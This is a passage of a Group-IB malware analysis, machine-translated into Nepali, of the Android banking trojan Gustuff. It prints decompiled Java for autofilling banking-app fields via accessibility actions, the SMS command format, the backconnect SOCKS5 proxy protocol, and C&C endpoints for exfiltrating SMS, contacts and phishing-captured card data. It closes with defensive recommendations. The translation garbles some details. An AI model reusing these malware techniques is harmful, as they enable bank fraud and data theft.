        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

यसरी, नियन्त्रण सर्भरको सही कन्फिगरेसनको साथ, Gustuff ले बैंकिङ अनुप्रयोगमा पाठ क्षेत्रहरू भर्न र लेनदेन पूरा गर्न आवश्यक बटनहरूमा क्लिक गर्न सक्षम छ। ट्रोजनलाई एप्लिकेसनमा लग इन गर्न पनि आवश्यक पर्दैन - PUSH अधिसूचना प्रदर्शन गर्न र त्यसपछि पहिले स्थापित बैंकिङ अनुप्रयोग खोल्न आदेश पठाउन पर्याप्त छ। प्रयोगकर्ताले आफैलाई प्रमाणीकरण गर्नेछ, त्यसपछि Gustuff कार भर्न सक्षम हुनेछ।

एसएमएस सन्देश प्रशोधन मोड्युल

अनुप्रयोगले एसएमएस सन्देशहरू स्वीकार गर्न संक्रमित उपकरणको लागि घटना ह्यान्डलर स्थापना गर्दछ। अध्ययन अन्तर्गतको अनुप्रयोगले अपरेटरबाट आदेशहरू प्राप्त गर्न सक्छ, जुन एसएमएस सन्देशको मुख्य भागमा आउँछ। आदेशहरू ढाँचामा आउँछन्:

7!5=<%Base64 encoded command%>

अनुप्रयोगले सबै आगमन SMS सन्देशहरूमा स्ट्रिङ खोज्छ ७!५=, जब स्ट्रिङ पत्ता लगाइन्छ, यसले अफसेट 64 मा Base4 बाट स्ट्रिङ डिकोड गर्छ र आदेश कार्यान्वयन गर्दछ। आदेशहरू CnC सँग मिल्दोजुल्दो छन्। कार्यान्वयन परिणाम त्यही नम्बरमा पठाइन्छ जहाँबाट आदेश आएको थियो। प्रतिक्रिया ढाँचा:

7*5=<%Base64 encode of “result_code command”%>

वैकल्पिक रूपमा, अनुप्रयोगले सबै प्राप्त सन्देशहरू रूट नम्बरमा पठाउन सक्छ। यो गर्नको लागि, रुट नम्बर प्राथमिकता फाइलमा निर्दिष्ट हुनुपर्छ र सन्देश पुन: निर्देशित झण्डा सेट हुनुपर्छ। ढाँचामा आक्रमणकारीको नम्बरमा एसएमएस सन्देश पठाइन्छ:

<% नम्बरबाट%> - <%समय, ढाँचा: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

साथै, वैकल्पिक रूपमा, अनुप्रयोगले CnC मा सन्देशहरू पठाउन सक्छ। SMS सन्देश JSON ढाँचामा सर्भरमा पठाइन्छ:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

यदि झण्डा सेट गरिएको छ nameGenerator("DEFAULT_APP_SMS") - अनुप्रयोगले SMS सन्देश प्रशोधन रोक्छ र आगमन सन्देशहरूको सूची खाली गर्दछ।

प्रोक्सी मोड्युल

अध्ययन अन्तर्गतको अनुप्रयोगले ब्याककनेक्ट प्रोक्सी मोड्युल समावेश गर्दछ (यसपछि प्रोक्सी मोड्युल भनिन्छ), जसमा कन्फिगरेसनको साथ स्थिर क्षेत्रहरू समावेश गर्ने छुट्टै वर्ग छ। कन्फिगरेसन डाटा नमूनामा स्पष्ट रूपमा भण्डार गरिएको छ:

प्रोक्सी मोड्युलद्वारा गरिएका सबै कार्यहरू फाइलहरूमा लगइन हुन्छन्। यो गर्नको लागि, बाह्य भण्डारणमा रहेको अनुप्रयोगले "लगहरू" (कन्फिगरेसन वर्गमा ProxyConfigClass.logsDir फिल्ड) नामक डाइरेक्टरी सिर्जना गर्दछ, जसमा लग फाइलहरू भण्डारण गरिन्छ। लगिङ नामहरूको साथ फाइलहरूमा हुन्छ:

main.txt - CommandServer भनिने क्लासको काम यस फाइलमा लगइन गरिएको छ। निम्नमा, यस फाइलमा स्ट्रिङ स्ट्रिङ लगिङ गर्दा mainLog(str) को रूपमा बुझाइनेछ।
सत्र-<%id%>.txt — यो फाइलले विशेष प्रोक्सी सत्रसँग सम्बन्धित लग डाटा बचत गर्छ। निम्नमा, यस फाइलमा स्ट्रिङ स्ट्रिङ लगिङ गर्दा sessionLog (str) को रूपमा बुझाइनेछ।
server.txt - यो फाइल माथि वर्णन गरिएका फाइलहरूमा लेखिएका सबै डाटा लग गर्न प्रयोग गरिन्छ।

लग डाटा ढाँचा:

<%मिति%> [थ्रेड[<%थ्रेड आईडी%>], आईडी[]]: लग-स्ट्रिङ

प्रोक्सी मोड्युलको सञ्चालनको क्रममा हुने अपवादहरू पनि फाइलमा लगइन हुन्छन्। यो गर्नको लागि, अनुप्रयोगले निम्न ढाँचामा JSON वस्तु उत्पन्न गर्दछ:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

त्यसपछि यसले यसलाई स्ट्रिङ प्रतिनिधित्वमा रूपान्तरण गर्छ र यसलाई लग गर्छ।

प्रोक्सी मोड्युल सम्बन्धित आदेश प्राप्त गरेपछि सुरु हुन्छ। जब प्रोक्सी मोड्युल सुरु गर्न आदेश प्राप्त हुन्छ, अनुप्रयोगले सेवा सुरु गर्दछ मुख्य सेवा, जुन प्रोक्सी मोड्युलको सञ्चालन प्रबन्ध गर्न जिम्मेवार छ - यसलाई सुरु गर्ने र रोक्न।

सेवा सुरु गर्ने चरणहरू:

1. टाइमर सुरु गर्छ जुन एक मिनेटमा एक पटक चल्छ र प्रोक्सी मोड्युलको गतिविधि जाँच गर्दछ। यदि मोड्युल सक्रिय छैन भने, यो सुरु हुन्छ।
घटना ट्रिगर हुँदा पनि android.net.conn.CONNECTIVITY_CHANGE प्रोक्सी मोड्युल सुरु भएको छ।

2. अनुप्रयोगले प्यारामिटरको साथ वेक-लक सिर्जना गर्दछ PARTIAL_WAKE_LOCK र उसलाई समात्छ। यसले यन्त्र CPU लाई निद्रा मोडमा जानबाट रोक्छ।

3. प्रोक्सी मोड्युलको कमाण्ड प्रोसेसिङ क्लास सुरु गर्छ, पहिले लाइन लगिङ गर्दै mainLog ("स्टार्ट सर्भर") и

सर्भर::स्टार्ट() होस्ट[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

जहाँ proxy_cnc, command_port र proxy_port - प्रोक्सी सर्भर कन्फिगरेसनबाट प्राप्त प्यारामिटरहरू।

आदेश प्रशोधन वर्ग भनिन्छ कमाण्ड जडान। स्टार्टअप पछि तुरुन्तै, निम्न कार्यहरू प्रदर्शन गर्दछ:

4. मा जडान गर्दछ ProxyConfigClass.host: ProxyConfigClass.commandPort र JSON ढाँचामा त्यहाँ संक्रमित यन्त्रको बारेमा डेटा पठाउँछ:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

कहां

id - पहिचानकर्ता, "x" नामको साझा प्राथमिकता फाइलबाट "id" फिल्डको साथ मान प्राप्त गर्ने प्रयास गर्दछ। यदि यो मान प्राप्त गर्न सकिएन भने, यसले नयाँ उत्पन्न गर्दछ। यसरी, प्रोक्सी मोड्युलको आफ्नै पहिचानकर्ता हुन्छ, जुन Bot ID जस्तै उत्पन्न हुन्छ।
imei - यन्त्रको IMEI। यदि मान प्राप्त गर्ने प्रक्रियामा त्रुटि भयो भने, यो क्षेत्रको सट्टा त्रुटि पाठ सन्देश लेखिनेछ।
imsi - उपकरणको अन्तर्राष्ट्रिय मोबाइल ग्राहक पहिचान। यदि मान प्राप्त गर्ने प्रक्रियामा त्रुटि भयो भने, यो क्षेत्रको सट्टा त्रुटि पाठ सन्देश लेखिनेछ।
मोडेल - अन्तिम उत्पादनको लागि अन्तिम-प्रयोगकर्ता-दृश्य नाम।
निर्माता — उत्पादन/हार्डवेयरको निर्माता (Build.MANUFACTURER)।
androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" ढाँचामा एउटा स्ट्रिङ
देश - उपकरणको हालको स्थान।
पार्टनरआईडी एउटा खाली स्ट्रिङ हो।
प्याकेज नाम - प्याकेज नाम।
networkType — हालको नेटवर्क जडानको प्रकार (उदाहरण: "WIFI", "MOBILE")। त्रुटिको अवस्थामा, शून्य फर्काउँछ।
hasGsmSupport - सत्य - यदि फोनले GSM समर्थन गर्दछ, अन्यथा गलत।
simReady - सिम कार्ड स्थिति।
simCountry - ISO देश कोड (सिम कार्ड प्रदायकमा आधारित)।
नेटवर्क अपरेटर - अपरेटर नाम। यदि मान प्राप्त गर्ने प्रक्रियामा त्रुटि भयो भने, यो क्षेत्रको सट्टा त्रुटि पाठ सन्देश लेखिनेछ।
simOperator — सेवा प्रदायकको नाम (SPN)। यदि मान प्राप्त गर्ने प्रक्रियामा त्रुटि भयो भने, यो क्षेत्रको सट्टा त्रुटि पाठ सन्देश लेखिनेछ।
संस्करण - यो क्षेत्र कन्फिगरेसन वर्गमा भण्डार गरिएको छ; बोटको परीक्षण संस्करणहरूको लागि यो "1.6" बराबर थियो।

5. सर्भरबाट आदेशहरूको प्रतीक्षा गर्ने मोडमा स्विच गर्दछ। सर्भरबाट आदेशहरू ढाँचामा आउँछन्:

0 अफसेट - आदेश
१ अफसेट - सत्र आईडी
2 अफसेट - लम्बाइ
4 अफसेट - डाटा

जब आदेश आउँछ, अनुप्रयोग लग:
mainLog("हेडर { sessionId<%id%>], type[<%command%>], length[<%length%>] }")

सर्भरबाट निम्न आदेशहरू सम्भव छन्:

नाम	आदेश	तथ्याङ्क	विवरण
जडान आईडी	0	जडान ID	नयाँ जडान सिर्जना गर्नुहोस्
स्लीप	3	समय	प्रोक्सी मोड्युल पज गर्नुहोस्
पिंगपोंग	4	-	PONG सन्देश पठाउनुहोस्

PONG सन्देशमा 4 बाइटहरू हुन्छन् र यो जस्तो देखिन्छ: 0x04000000.

जब connectId आदेश प्राप्त हुन्छ (नयाँ जडान सिर्जना गर्न) कमाण्ड जडान वर्गको उदाहरण सिर्जना गर्दछ प्रोक्सी जडान.

दुई वर्गहरू प्रोक्सीमा भाग लिन्छन्: प्रोक्सी जडान и अन्त। कक्षा सिर्जना गर्दा प्रोक्सी जडान ठेगानामा जडान गर्दै ProxyConfigClass.host: ProxyConfigClass.proxyPort र JSON वस्तु पास गर्दै:

 {
    "id":<%connectionId%>
}

जवाफमा, सर्भरले SOCKS5 सन्देश पठाउँछ जसमा रिमोट सर्भरको ठेगाना समावेश हुन्छ जससँग जडान स्थापित हुनुपर्छ। यस सर्भरसँग अन्तरक्रिया कक्षा मार्फत हुन्छ अन्त। जडान सेटअप योजनाबद्ध रूपमा निम्न रूपमा प्रतिनिधित्व गर्न सकिन्छ:

नेटवर्क अन्तरक्रिया

नेटवर्क स्निफरहरू द्वारा ट्राफिक विश्लेषण रोक्नको लागि, CnC सर्भर र अनुप्रयोग बीचको अन्तरक्रियालाई SSL प्रोटोकल प्रयोग गरेर सुरक्षित गर्न सकिन्छ। सर्भरबाट र सर्भरमा पठाइएका सबै डेटा JSON ढाँचामा प्रस्तुत गरिन्छ। अनुप्रयोगले सञ्चालनको क्रममा निम्न अनुरोधहरू कार्यान्वयन गर्दछ:

http://<%CnC%>/api/v1/set_state.php - आदेश कार्यान्वयन को परिणाम।
http://<%CnC%>/api/v1/get.php - आदेश प्राप्त गर्दै।
http://<%CnC%>/api/v1/load_sms.php - संक्रमित उपकरणबाट एसएमएस सन्देशहरू डाउनलोड गर्दै।
http://<%CnC%>/api/v1/load_ab.php - संक्रमित उपकरणबाट सम्पर्कहरूको सूची अपलोड गर्दै।
http://<%CnC%>/api/v1/aevents.php - प्राथमिकता फाइलमा अवस्थित प्यारामिटरहरू अद्यावधिक गर्दा अनुरोध गरिन्छ।
http://<%CnC%>/api/v1/set_card.php — गुगल प्ले मार्केटको रूपमा फिसिङ विन्डो मास्करेडिङ प्रयोग गरेर प्राप्त डाटा अपलोड गर्दै।
http://<%CnC%>/api/v1/logs.php - लग डाटा अपलोड गर्दै।
http://<%CnC%>/api/v1/records.php - फिसिङ विन्डोज मार्फत प्राप्त डाटा अपलोड गर्दै।
http://<%CnC%>/api/v1/set_error.php - त्रुटि भएको सूचना।

सिफारिसहरू

आफ्ना ग्राहकहरूलाई मोबाइल ट्रोजनहरूको खतराबाट जोगाउनका लागि, कम्पनीहरूले प्रयोगकर्ता यन्त्रहरूमा अतिरिक्त सफ्टवेयर स्थापना नगरी दुर्भावनापूर्ण गतिविधिलाई निगरानी गर्न र रोक्न अनुमति दिने व्यापक समाधानहरू प्रयोग गर्नुपर्छ।

यसो गर्नका लागि, मोबाइल ट्रोजनहरू पत्ता लगाउनका लागि हस्ताक्षर विधिहरूलाई क्लाइन्ट र एप्लिकेसन दुवैको व्यवहारको विश्लेषण गर्न प्रविधिहरूसँग बलियो बनाउन आवश्यक छ। सुरक्षामा डिजिटल फिंगरप्रिन्ट टेक्नोलोजी प्रयोग गरी उपकरण पहिचान गर्ने प्रकार्य पनि समावेश हुनुपर्छ, जसले यो बुझ्न सम्भव बनाउँदछ कि कहिले खाता प्रयोग गरिँदैछ atypical उपकरणबाट र पहिले नै धोखाधडीको हातमा परेको छ।

एक मौलिक रूपमा महत्त्वपूर्ण बिन्दु क्रस-च्यानल विश्लेषणको उपलब्धता हो, जसले कम्पनीहरूलाई इन्टरनेटमा मात्र होइन, तर मोबाइल च्यानलमा पनि उत्पन्न हुने जोखिमहरू नियन्त्रण गर्न अनुमति दिन्छ, उदाहरणका लागि, मोबाइल बैंकिङका लागि अनुप्रयोगहरूमा, क्रिप्टोकरेन्सीहरू र अन्य कुनै पनि ठाउँहरूमा लेनदेनको लागि। लेनदेन गर्न सकिन्छ, आर्थिक लेनदेन।

प्रयोगकर्ताहरूको लागि सुरक्षा नियमहरू:

गुगल प्ले बाहेक अन्य कुनै पनि स्रोतबाट एन्ड्रोइड ओएस भएको मोबाइल उपकरणको लागि अनुप्रयोगहरू स्थापना नगर्नुहोस्, अनुप्रयोगले अनुरोध गरेको अधिकारहरूमा विशेष ध्यान दिनुहोस्;
नियमित रूपमा एन्ड्रोइड ओएस अद्यावधिकहरू स्थापना गर्नुहोस्;
डाउनलोड गरिएका फाइलहरूको विस्तारहरूमा ध्यान दिनुहोस्;
संदिग्ध स्रोतहरू भ्रमण नगर्नुहोस्;
SMS सन्देशहरूमा प्राप्त लिङ्कहरूमा क्लिक नगर्नुहोस्।

स्टारिङ सेमियोन रोगाचेवा, Group-IB कम्प्युटर फोरेन्सिक प्रयोगशालामा मालवेयर अनुसन्धानमा जूनियर विशेषज्ञ।

स्रोत: www.habr.com

कसरी एन्ड्रोइड ट्रोजन गस्टफले तपाईंको खाताहरूबाट क्रीम (फियाट र क्रिप्टो) स्किम गर्दछ